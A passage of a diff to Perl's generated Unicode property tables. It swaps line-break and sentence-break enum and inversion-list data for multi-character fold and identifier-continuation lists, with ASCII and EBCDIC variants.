-	LB_Ideographic,
-	LB_Exclamation,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Ideographic,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Ideographic,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Prefix_Numeric,
-	LB_Ideographic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Contingent_Break,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Inseparable,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_Before,
-	LB_Break_After,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Nonstarter,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Regional_Indicator,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Modifier,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Nonstarter,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL__PERL_FOLDS_TO_MULTI_CHAR_invlist[] = { /* for EBCDIC 1047 */
+	59,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x59,
+	0x5A,
+	0x130,
+	0x131,
+	0x149,
+	0x14A,
+	0x1F0,
+	0x1F1,
+	0x390,
+	0x391,
+	0x3B0,
+	0x3B1,
+	0x587,
+	0x588,
+	0x1E96,
+	0x1E9B,
+	0x1E9E,
+	0x1E9F,
+	0x1F50,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
+	0x1F80,
+	0x1FB0,
+	0x1FB2,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBC,
+	0x1FBD,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD2,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE2,
+	0x1FE5,
+	0x1FE6,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x1FFC,
+	0x1FFD,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18
 };
 
-#endif	/* defined(PERL_IN_REGEXEC_C) */
+#   endif	/* EBCDIC 1047 */
 
-#if defined(PERL_IN_PERL_C)
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
 
-static const UV _Perl_SB_invlist[] = { /* for EBCDIC 1047 */
-	2981,	/* Number of elements */
+static const UV PL__PERL_FOLDS_TO_MULTI_CHAR_invlist[] = { /* for EBCDIC 037 */
+	59,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	0,	/* 0 if the list starts at 0;
+	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x5,
-	0x6,
-	0xB,
-	0xD,
-	0xE,
-	0x15,
-	0x16,
-	0x25,
-	0x26,
-	0x40,
-	0x42,
-	0x4A,
-	0x4B,
-	0x4C,
-	0x4D,
-	0x4E,
-	0x51,
+	0x59,
 	0x5A,
+	0x130,
+	0x131,
+	0x149,
+	0x14A,
+	0x1F0,
+	0x1F1,
+	0x390,
+	0x391,
+	0x3B0,
+	0x3B1,
+	0x587,
+	0x588,
+	0x1E96,
+	0x1E9B,
+	0x1E9E,
+	0x1E9F,
+	0x1F50,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
+	0x1F80,
+	0x1FB0,
+	0x1FB2,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBC,
+	0x1FBD,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD2,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE2,
+	0x1FE5,
+	0x1FE6,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x1FFC,
+	0x1FFD,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL__PERL_IDCONT_invlist[] = { /* for ASCII/Latin1 */
+	1393,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x3A,
+	0x41,
 	0x5B,
-	0x5D,
-	0x5E,
+	0x5F,
 	0x60,
 	0x61,
-	0x62,
-	0x6A,
-	0x6B,
-	0x6C,
-	0x6F,
-	0x70,
-	0x71,
-	0x79,
-	0x7A,
 	0x7B,
-	0x7D,
-	0x7E,
-	0x7F,
-	0x80,
-	0x81,
-	0x8A,
-	0x8C,
-	0x8F,
-	0x91,
-	0x9D,
-	0x9E,
-	0x9F,
-	0xA0,
-	0xA1,
-	0xA2,
 	0xAA,
-	0xAC,
-	0xAD,
-	0xAE,
-	0xAF,
+	0xAB,
+	0xB5,
+	0xB6,
 	0xBA,
 	0xBB,
-	0xBD,
-	0xBE,
 	0xC0,
-	0xC1,
-	0xCA,
-	0xCB,
-	0xD0,
-	0xD1,
-	0xDA,
-	0xDB,
-	0xE0,
-	0xE2,
-	0xEA,
-	0xEB,
-	0xF0,
-	0xFA,
-	0xFB,
-	0xFF,
-	0x100,
-	0x101,
-	0x102,
-	0x103,
-	0x104,
-	0x105,
-	0x106,
-	0x107,
-	0x108,
-	0x109,
-	0x10A,
-	0x10B,
-	0x10C,
-	0x10D,
-	0x10E,
-	0x10F,
-	0x110,
-	0x111,
-	0x112,
-	0x113,
-	0x114,
-	0x115,
-	0x116,
-	0x117,
-	0x118,
-	0x119,
-	0x11A,
-	0x11B,
-	0x11C,
-	0x11D,
-	0x11E,
-	0x11F,
-	0x120,
-	0x121,
-	0x122,
-	0x123,
-	0x124,
-	0x125,
-	0x126,
-	0x127,
-	0x128,
-	0x129,
-	0x12A,
-	0x12B,
-	0x12C,
-	0x12D,
-	0x12E,
-	0x12F,
-	0x130,
-	0x131,
-	0x132,
-	0x133,
-	0x134,
-	0x135,
-	0x136,
-	0x137,
-	0x139,
-	0x13A,
-	0x13B,
-	0x13C,
-	0x13D,
-	0x13E,
-	0x13F,
-	0x140,
-	0x141,
-	0x142,
-	0x143,
-	0x144,
-	0x145,
-	0x146,
-	0x147,
-	0x148,
-	0x14A,
-	0x14B,
-	0x14C,
-	0x14D,
-	0x14E,
-	0x14F,
-	0x150,
-	0x151,
-	0x152,
-	0x153,
-	0x154,
-	0x155,
-	0x156,
-	0x157,
-	0x158,
-	0x159,
-	0x15A,
-	0x15B,
-	0x15C,
-	0x15D,
-	0x15E,
-	0x15F,
-	0x160,
-	0x161,
-	0x162,
-	0x163,
-	0x164,
-	0x165,
-	0x166,
-	0x167,
-	0x168,
-	0x169,
-	0x16A,
-	0x16B,
-	0x16C,
-	0x16D,
-	0x16E,
-	0x16F,
-	0x170,
-	0x171,
-	0x172,
-	0x173,
-	0x174,
-	0x175,
-	0x176,
-	0x177,
-	0x178,
-	0x17A,
-	0x17B,
-	0x17C,
-	0x17D,
-	0x17E,
-	0x181,
-	0x183,
-	0x184,
-	0x185,
-	0x186,
-	0x188,
-	0x189,
-	0x18C,
-	0x18E,
-	0x192,
-	0x193,
-	0x195,
-	0x196,
-	0x199,
-	0x19C,
-	0x19E,
-	0x19F,
-	0x1A1,
-	0x1A2,
-	0x1A3,
-	0x1A4,
-	0x1A5,
-	0x1A6,
-	0x1A8,
-	0x1A9,
-	0x1AA,
-	0x1AC,
-	0x1AD,
-	0x1AE,
-	0x1B0,
-	0x1B1,
-	0x1B4,
-	0x1B5,
-	0x1B6,
-	0x1B7,
-	0x1B9,
-	0x1BB,
-	0x1BC,
-	0x1BD,
-	0x1C0,
-	0x1C4,
-	0x1C6,
-	0x1C7,
-	0x1C9,
-	0x1CA,
-	0x1CC,
-	0x1CD,
-	0x1CE,
-	0x1CF,
-	0x1D0,
-	0x1D1,
-	0x1D2,
-	0x1D3,
-	0x1D4,
-	0x1D5,
-	0x1D6,
-	0x1D7,
-	0x1D8,
-	0x1D9,
-	0x1DA,
-	0x1DB,
-	0x1DC,
-	0x1DE,
-	0x1DF,
-	0x1E0,
-	0x1E1,
-	0x1E2,
-	0x1E3,
-	0x1E4,
-	0x1E5,
-	0x1E6,
-	0x1E7,
-	0x1E8,
-	0x1E9,
-	0x1EA,
-	0x1EB,
-	0x1EC,
-	0x1ED,
-	0x1EE,
-	0x1EF,
-	0x1F1,
-	0x1F3,
-	0x1F4,
-	0x1F5,
-	0x1F6,
-	0x1F9,
-	0x1FA,
-	0x1FB,
-	0x1FC,
-	0x1FD,
-	0x1FE,
-	0x1FF,
-	0x200,
-	0x201,
-	0x202,
-	0x203,
-	0x204,
-	0x205,
-	0x206,
-	0x207,
-	0x208,
-	0x209,
-	0x20A,
-	0x20B,
-	0x20C,
-	0x20D,
-	0x20E,
-	0x20F,
-	0x210,
-	0x211,
-	0x212,
-	0x213,
-	0x214,
-	0x215,
-	0x216,
-	0x217,
-	0x218,
-	0x219,
-	0x21A,
-	0x21B,
-	0x21C,
-	0x21D,
-	0x21E,
-	0x21F,
-	0x220,
-	0x221,
-	0x222,
-	0x223,
-	0x224,
-	0x225,
-	0x226,
-	0x227,
-	0x228,
-	0x229,
-	0x22A,
-	0x22B,
-	0x22C,
-	0x22D,
-	0x22E,
-	0x22F,
-	0x230,
-	0x231,
-	0x232,
-	0x233,
-	0x23A,
-	0x23C,
-	0x23D,
-	0x23F,
-	0x241,
-	0x242,
-	0x243,
-	0x247,
-	0x248,
-	0x249,
-	0x24A,
-	0x24B,
-	0x24C,
-	0x24D,
-	0x24E,
-	0x24F,
-	0x294,
-	0x295,
-	0x2B9,
-	0x2C0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
 	0x2C2,
 	0x2C6,
 	0x2D2,
@@ -44419,16 +161808,10 @@
 	0x2EE,
 	0x2EF,
 	0x300,
-	0x370,
-	0x371,
-	0x372,
-	0x373,
-	0x374,
 	0x375,
 	0x376,
-	0x377,
 	0x378,
-	0x37A,
+	0x37B,
 	0x37E,
 	0x37F,
 	0x380,
@@ -44439,259 +161822,21 @@
 	0x38C,
 	0x38D,
 	0x38E,
-	0x390,
-	0x391,
 	0x3A2,
 	0x3A3,
-	0x3AC,
-	0x3CF,
-	0x3D0,
-	0x3D2,
-	0x3D5,
-	0x3D8,
-	0x3D9,
-	0x3DA,
-	0x3DB,
-	0x3DC,
-	0x3DD,
-	0x3DE,
-	0x3DF,
-	0x3E0,
-	0x3E1,
-	0x3E2,
-	0x3E3,
-	0x3E4,
-	0x3E5,
-	0x3E6,
-	0x3E7,
-	0x3E8,
-	0x3E9,
-	0x3EA,
-	0x3EB,
-	0x3EC,
-	0x3ED,
-	0x3EE,
-	0x3EF,
-	0x3F4,
-	0x3F5,
 	0x3F6,
 	0x3F7,
-	0x3F8,
-	0x3F9,
-	0x3FB,
-	0x3FD,
-	0x430,
-	0x460,
-	0x461,
-	0x462,
-	0x463,
-	0x464,
-	0x465,
-	0x466,
-	0x467,
-	0x468,
-	0x469,
-	0x46A,
-	0x46B,
-	0x46C,
-	0x46D,
-	0x46E,
-	0x46F,
-	0x470,
-	0x471,
-	0x472,
-	0x473,
-	0x474,
-	0x475,
-	0x476,
-	0x477,
-	0x478,
-	0x479,
-	0x47A,
-	0x47B,
-	0x47C,
-	0x47D,
-	0x47E,
-	0x47F,
-	0x480,
-	0x481,
 	0x482,
 	0x483,
+	0x488,
 	0x48A,
-	0x48B,
-	0x48C,
-	0x48D,
-	0x48E,
-	0x48F,
-	0x490,
-	0x491,
-	0x492,
-	0x493,
-	0x494,
-	0x495,
-	0x496,
-	0x497,
-	0x498,
-	0x499,
-	0x49A,
-	0x49B,
-	0x49C,
-	0x49D,
-	0x49E,
-	0x49F,
-	0x4A0,
-	0x4A1,
-	0x4A2,
-	0x4A3,
-	0x4A4,
-	0x4A5,
-	0x4A6,
-	0x4A7,
-	0x4A8,
-	0x4A9,
-	0x4AA,
-	0x4AB,
-	0x4AC,
-	0x4AD,
-	0x4AE,
-	0x4AF,
-	0x4B0,
-	0x4B1,
-	0x4B2,
-	0x4B3,
-	0x4B4,
-	0x4B5,
-	0x4B6,
-	0x4B7,
-	0x4B8,
-	0x4B9,
-	0x4BA,
-	0x4BB,
-	0x4BC,
-	0x4BD,
-	0x4BE,
-	0x4BF,
-	0x4C0,
-	0x4C2,
-	0x4C3,
-	0x4C4,
-	0x4C5,
-	0x4C6,
-	0x4C7,
-	0x4C8,
-	0x4C9,
-	0x4CA,
-	0x4CB,
-	0x4CC,
-	0x4CD,
-	0x4CE,
-	0x4D0,
-	0x4D1,
-	0x4D2,
-	0x4D3,
-	0x4D4,
-	0x4D5,
-	0x4D6,
-	0x4D7,
-	0x4D8,
-	0x4D9,
-	0x4DA,
-	0x4DB,
-	0x4DC,
-	0x4DD,
-	0x4DE,
-	0x4DF,
-	0x4E0,
-	0x4E1,
-	0x4E2,
-	0x4E3,
-	0x4E4,
-	0x4E5,
-	0x4E6,
-	0x4E7,
-	0x4E8,
-	0x4E9,
-	0x4EA,
-	0x4EB,
-	0x4EC,
-	0x4ED,
-	0x4EE,
-	0x4EF,
-	0x4F0,
-	0x4F1,
-	0x4F2,
-	0x4F3,
-	0x4F4,
-	0x4F5,
-	0x4F6,
-	0x4F7,
-	0x4F8,
-	0x4F9,
-	0x4FA,
-	0x4FB,
-	0x4FC,
-	0x4FD,
-	0x4FE,
-	0x4FF,
-	0x500,
-	0x501,
-	0x502,
-	0x503,
-	0x504,
-	0x505,
-	0x506,
-	0x507,
-	0x508,
-	0x509,
-	0x50A,
-	0x50B,
-	0x50C,
-	0x50D,
-	0x50E,
-	0x50F,
-	0x510,
-	0x511,
-	0x512,
-	0x513,
-	0x514,
-	0x515,
-	0x516,
-	0x517,
-	0x518,
-	0x519,
-	0x51A,
-	0x51B,
-	0x51C,
-	0x51D,
-	0x51E,
-	0x51F,
-	0x520,
-	0x521,
-	0x522,
-	0x523,
-	0x524,
-	0x525,
-	0x526,
-	0x527,
-	0x528,
-	0x529,
-	0x52A,
-	0x52B,
-	0x52C,
-	0x52D,
-	0x52E,
-	0x52F,
 	0x530,
 	0x531,
 	0x557,
 	0x559,
 	0x55A,
-	0x55D,
-	0x55E,
 	0x561,
 	0x588,
-	0x589,
-	0x58A,
 	0x591,
 	0x5BE,
 	0x5BF,
@@ -44705,73 +161850,35 @@
 	0x5D0,
 	0x5EB,
 	0x5F0,
-	0x5F4,
-	0x600,
-	0x606,
-	0x60C,
-	0x60E,
+	0x5F3,
 	0x610,
 	0x61B,
-	0x61C,
-	0x61D,
-	0x61F,
 	0x620,
-	0x64B,
-	0x660,
 	0x66A,
-	0x66B,
-	0x66D,
 	0x66E,
-	0x670,
-	0x671,
 	0x6D4,
 	0x6D5,
-	0x6D6,
 	0x6DD,
-	0x6DE,
 	0x6DF,
-	0x6E5,
-	0x6E7,
 	0x6E9,
 	0x6EA,
-	0x6EE,
-	0x6F0,
-	0x6FA,
 	0x6FD,
 	0x6FF,
 	0x700,
-	0x703,
-	0x70F,
 	0x710,
-	0x711,
-	0x712,
-	0x730,
 	0x74B,
 	0x74D,
-	0x7A6,
-	0x7B1,
 	0x7B2,
 	0x7C0,
-	0x7CA,
-	0x7EB,
-	0x7F4,
 	0x7F6,
-	0x7F8,
-	0x7F9,
 	0x7FA,
 	0x7FB,
 	0x800,
-	0x816,
-	0x81A,
-	0x81B,
-	0x824,
-	0x825,
-	0x828,
-	0x829,
 	0x82E,
 	0x840,
-	0x859,
 	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -44779,19 +161886,10 @@
 	0x8D4,
 	0x8E2,
 	0x8E3,
-	0x904,
-	0x93A,
-	0x93D,
-	0x93E,
-	0x950,
-	0x951,
-	0x958,
-	0x962,
 	0x964,
 	0x966,
 	0x970,
 	0x971,
-	0x981,
 	0x984,
 	0x985,
 	0x98D,
@@ -44806,13 +161904,10 @@
 	0x9B6,
 	0x9BA,
 	0x9BC,
-	0x9BD,
-	0x9BE,
 	0x9C5,
 	0x9C7,
 	0x9C9,
 	0x9CB,
-	0x9CE,
 	0x9CF,
 	0x9D7,
 	0x9D8,
@@ -44819,11 +161914,11 @@
 	0x9DC,
 	0x9DE,
 	0x9DF,
-	0x9E2,
 	0x9E4,
 	0x9E6,
-	0x9F0,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -44855,9 +161950,6 @@
 	0xA5E,
 	0xA5F,
 	0xA66,
-	0xA70,
-	0xA72,
-	0xA75,
 	0xA76,
 	0xA81,
 	0xA84,
@@ -44874,8 +161966,6 @@
 	0xAB5,
 	0xABA,
 	0xABC,
-	0xABD,
-	0xABE,
 	0xAC6,
 	0xAC7,
 	0xACA,
@@ -44884,12 +161974,11 @@
 	0xAD0,
 	0xAD1,
 	0xAE0,
-	0xAE2,
 	0xAE4,
 	0xAE6,
 	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -44905,8 +161994,6 @@
 	0xB35,
 	0xB3A,
 	0xB3C,
-	0xB3D,
-	0xB3E,
 	0xB45,
 	0xB47,
 	0xB49,
@@ -44917,7 +162004,6 @@
 	0xB5C,
 	0xB5E,
 	0xB5F,
-	0xB62,
 	0xB64,
 	0xB66,
 	0xB70,
@@ -44924,7 +162010,6 @@
 	0xB71,
 	0xB72,
 	0xB82,
-	0xB83,
 	0xB84,
 	0xB85,
 	0xB8B,
@@ -44967,7 +162052,6 @@
 	0xC2A,
 	0xC3A,
 	0xC3D,
-	0xC3E,
 	0xC45,
 	0xC46,
 	0xC49,
@@ -44978,12 +162062,10 @@
 	0xC58,
 	0xC5B,
 	0xC60,
-	0xC62,
 	0xC64,
 	0xC66,
 	0xC70,
 	0xC80,
-	0xC81,
 	0xC84,
 	0xC85,
 	0xC8D,
@@ -44996,8 +162078,6 @@
 	0xCB5,
 	0xCBA,
 	0xCBC,
-	0xCBD,
-	0xCBE,
 	0xCC5,
 	0xCC6,
 	0xCC9,
@@ -45008,13 +162088,12 @@
 	0xCDE,
 	0xCDF,
 	0xCE0,
-	0xCE2,
 	0xCE4,
 	0xCE6,
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -45021,20 +162100,14 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
-	0xD3E,
 	0xD45,
 	0xD46,
 	0xD49,
 	0xD4A,
-	0xD4E,
 	0xD4F,
 	0xD54,
-	0xD57,
 	0xD58,
 	0xD5F,
-	0xD62,
 	0xD64,
 	0xD66,
 	0xD70,
@@ -45065,12 +162138,8 @@
 	0xDF2,
 	0xDF4,
 	0xE01,
-	0xE31,
-	0xE32,
-	0xE34,
 	0xE3B,
 	0xE40,
-	0xE47,
 	0xE4F,
 	0xE50,
 	0xE5A,
@@ -45097,12 +162166,8 @@
 	0xEAA,
 	0xEAC,
 	0xEAD,
-	0xEB1,
-	0xEB2,
-	0xEB4,
 	0xEBA,
 	0xEBB,
-	0xEBD,
 	0xEBE,
 	0xEC0,
 	0xEC5,
@@ -45127,7 +162192,6 @@
 	0xF39,
 	0xF3A,
 	0xF3E,
-	0xF40,
 	0xF48,
